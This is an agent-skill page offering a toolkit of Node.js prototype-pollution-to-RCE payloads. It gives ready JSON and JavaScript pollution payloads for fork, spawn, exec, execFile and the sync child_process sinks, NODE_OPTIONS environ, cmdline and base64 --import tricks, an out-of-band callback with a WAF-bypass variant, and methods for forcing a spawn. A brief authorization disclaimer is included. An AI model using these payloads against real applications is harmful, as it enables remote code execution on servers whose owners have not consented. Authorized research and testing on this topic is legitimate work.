# Nodejs Prototype Pollution Rce

> Generate and test Node.js prototype pollution to RCE payloads. Use this skill whenever the user mentions prototype pollution, Node.js security testing, child_process exploitation, PP2RCE, or needs to convert prototype pollution into remote code execution. This skill provides payloads for fork, spawn, exec, and other child_process functions, plus techniques for forcing spawn when not present.

- Skill: `abelrguezr/nodejs-prototype-pollution-rce` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/nodejs-prototype-pollution-rce`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/nodejs-prototype-pollution-rce/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/nodejs-prototype-pollution-rce

---


# Node.js Prototype Pollution to RCE

A skill for generating and testing prototype pollution to remote code execution (PP2RCE) payloads in Node.js applications.

## When to Use This Skill

Use this skill when:
- You've identified a prototype pollution vulnerability in a Node.js application
- You need to escalate prototype pollution to RCE
- You're testing Node.js applications for child_process exploitation
- You need payloads for specific child_process functions (fork, spawn, exec, etc.)
- You're working with Node.js versions 18-22 and need version-specific payloads

## Quick Start

### 1. Identify the Sink

First, determine which `child_process` function is being called in the vulnerable code:

```javascript
// Common sinks to look for:
const { fork, spawn, exec, execFile, execSync, spawnSync, execFileSync } = require("child_process")
```

### 2. Select the Appropriate Payload

Choose a payload based on the sink and Node.js version. See the payload sections below.

### 3. Test the Payload

Use the `generate-payload.js` script to create test payloads:

```bash
node scripts/generate-payload.js --sink fork --node-version 18 --output test.json
```

## Payload Categories

### Environment Variable Injection (fork)

**Best for:** `fork()` calls, Node.js 18+

```javascript
// Manual pollution
b = {}
b.__proto__.env = {
  EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger
fork("./a_file.js")
```

**JSON payload:**
```json
{
  "__proto__": {
    "NODE_OPTIONS": "--require /proc/self/environ",
    "env": {
      "EVIL": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
    }
  }
}
```

### Command Line Injection (cmdline)

**Best for:** Most child_process functions, works after kEmptyObject fix

```javascript
// Manual pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger
fork("./a_file.js")
```

**JSON payload:**
```json
{
  "__proto__": {
    "NODE_OPTIONS": "--require /proc/self/cmdline",
    "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
  }
}
```

### Filesystem-less Attack (Node.js 19+)

**Best for:** Read-only environments, ESM-only apps, Node.js 19-22

```javascript
// Base64-encoded payload
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;

// Manual pollution
b = {}
b.__proto__.NODE_OPTIONS = `--import ${payload}`;

// Trigger
fork("./a_file.js");
```

**JSON payload:**
```json
{
  "__proto__": {
    "NODE_OPTIONS": "--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"
  }
}
```

### DNS Interaction (Out-of-Band Detection)

**Best for:** Confirming exploitation when file creation isn't visible

```json
{
  "__proto__": {
    "argv0": "node",
    "shell": "node",
    "NODE_OPTIONS": "--inspect=id.oastify.com"
  }
}
```

**WAF-bypass variant:**
```json
{
  "__proto__": {
    "argv0": "node",
    "shell": "node",
    "NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
  }
}
```

## Function-Specific Payloads

### fork()

All techniques work:
- **environ trick:** ✅ Working
- **cmdline trick:** ✅ Working
- **execArgv trick:** ✅ Unique to fork

```javascript
// execArgv variant (fork only)
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
```

### spawn()

**Note:** Requires `cwd` option after kEmptyObject fix (Node.js 18.4.0+)

```javascript
// With cwd option
spawn("something", [], {"cwd": "/tmp"});

// Pollution
p = {}
p.__proto__.argv0 = "/proc/self/exe"
p.__proto__.shell = "/proc/self/exe"
p.__proto__.env = {
  EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
```

### exec()

```javascript
// cmdline trick
p = {}
p.__proto__.shell = "/proc/self/exe"
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
```

### execFile()

**Requirement:** Must execute Node.js for NODE_OPTIONS to work

```javascript
execFile("/usr/bin/node")

// Pollution
p = {}
p.__proto__.shell = "/proc/self/exe"
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
```

### execSync() / spawnSync() / execFileSync()

All support stdin trick:

```javascript
// stdin trick
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
```

## Forcing Spawn When Not Present

If the vulnerable code doesn't call child_process functions, you need to force a spawn.

### Technique 1: Control require Path

Find a `.js` file that calls child_process when imported:

```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \\; 2>/dev/null | while read file_path; do
    grep --with-filename -nE "^[a-zA-Z].*(exec\\(|execFile\\(|fork\\(|spawn\\(|execFileSync\\(|execSync\\(|spawnSync\\()" "$file_path" | grep -v "require(" | grep -v "function "
done
```

**Common files:**
- `/path/to/npm/scripts/changelog.js`
- `/opt/yarn-v1.22.19/preinstall.js`
- `node_modules/buffer/bin/test.js`
- `node_modules/detect-libc/bin/detect-libc.js`

### Technique 2: Pollute require Resolution

**Absolute require (no main in package.json):**

```json
{
  "__proto__": {
    "main": "/tmp/malicious.js",
    "NODE_OPTIONS": "--require /proc/self/cmdline",
    "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
  }
}
```

**Relative require:**

```json
{
  "__proto__": {
    "exports": {".": "./malicious.js"},
    "1": "/tmp",
    "NODE_OPTIONS": "--require /proc/self/cmdline",
    "argv0": "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"
  }
}
```

## Version Compatibility

| Node.js Version | environ trick | cmdline trick | --import | kEmptyObject fix |
|----------------|---------------|---------------|----------|------------------|
| < 18.4.0       | ✅            | ✅            | ❌       | ❌               |
| 18.4.0 - 18.x  | ⚠️ (needs cwd) | ✅            | ❌       | ✅               |
| 19.x - 20.x    | ⚠️ (needs cwd) | ✅            | ✅       | ✅               |
| 21.x - 22.x    | ⚠️ (needs cwd) | ✅            | ✅       | ✅               |

**Notes:**
- `--import` with data-URIs works in Node.js 19+ (confirmed in 22.2.0)
- kEmptyObject fix (Node.js 18.4.0+) requires `cwd` option for spawn/spawnSync
- CopyOptions() in Node.js 20+ blocks nested object pollution but not NODE_OPTIONS

## Testing Workflow

1. **Confirm prototype pollution:**
   ```javascript
   // Test if pollution works
   console.log(Object.prototype.polluted === "test");
   ```

2. **Identify the sink:** Look for child_process usage

3. **Generate payload:** Use the script or select from above

4. **Test with DNS first:** Use OOB detection before file creation

5. **Escalate to RCE:** Use file creation or command execution

## Security Notes

- These techniques are for authorized security testing only
- Node.js 20+ has improved protections but NODE_OPTIONS tricks still work
- The `--import` flag is being tracked for future restrictions (Node Issue #50559)
- Always verify you have authorization before testing

## References

- [Securitum Kibana CVE-2019-7609](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [SonarSource BlitzJS](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [PortSwigger No-Filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [Node.js Security Blog](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [Server-Side Prototype Pollution](https://github.com/yuske/server-side-prototype-pollution)

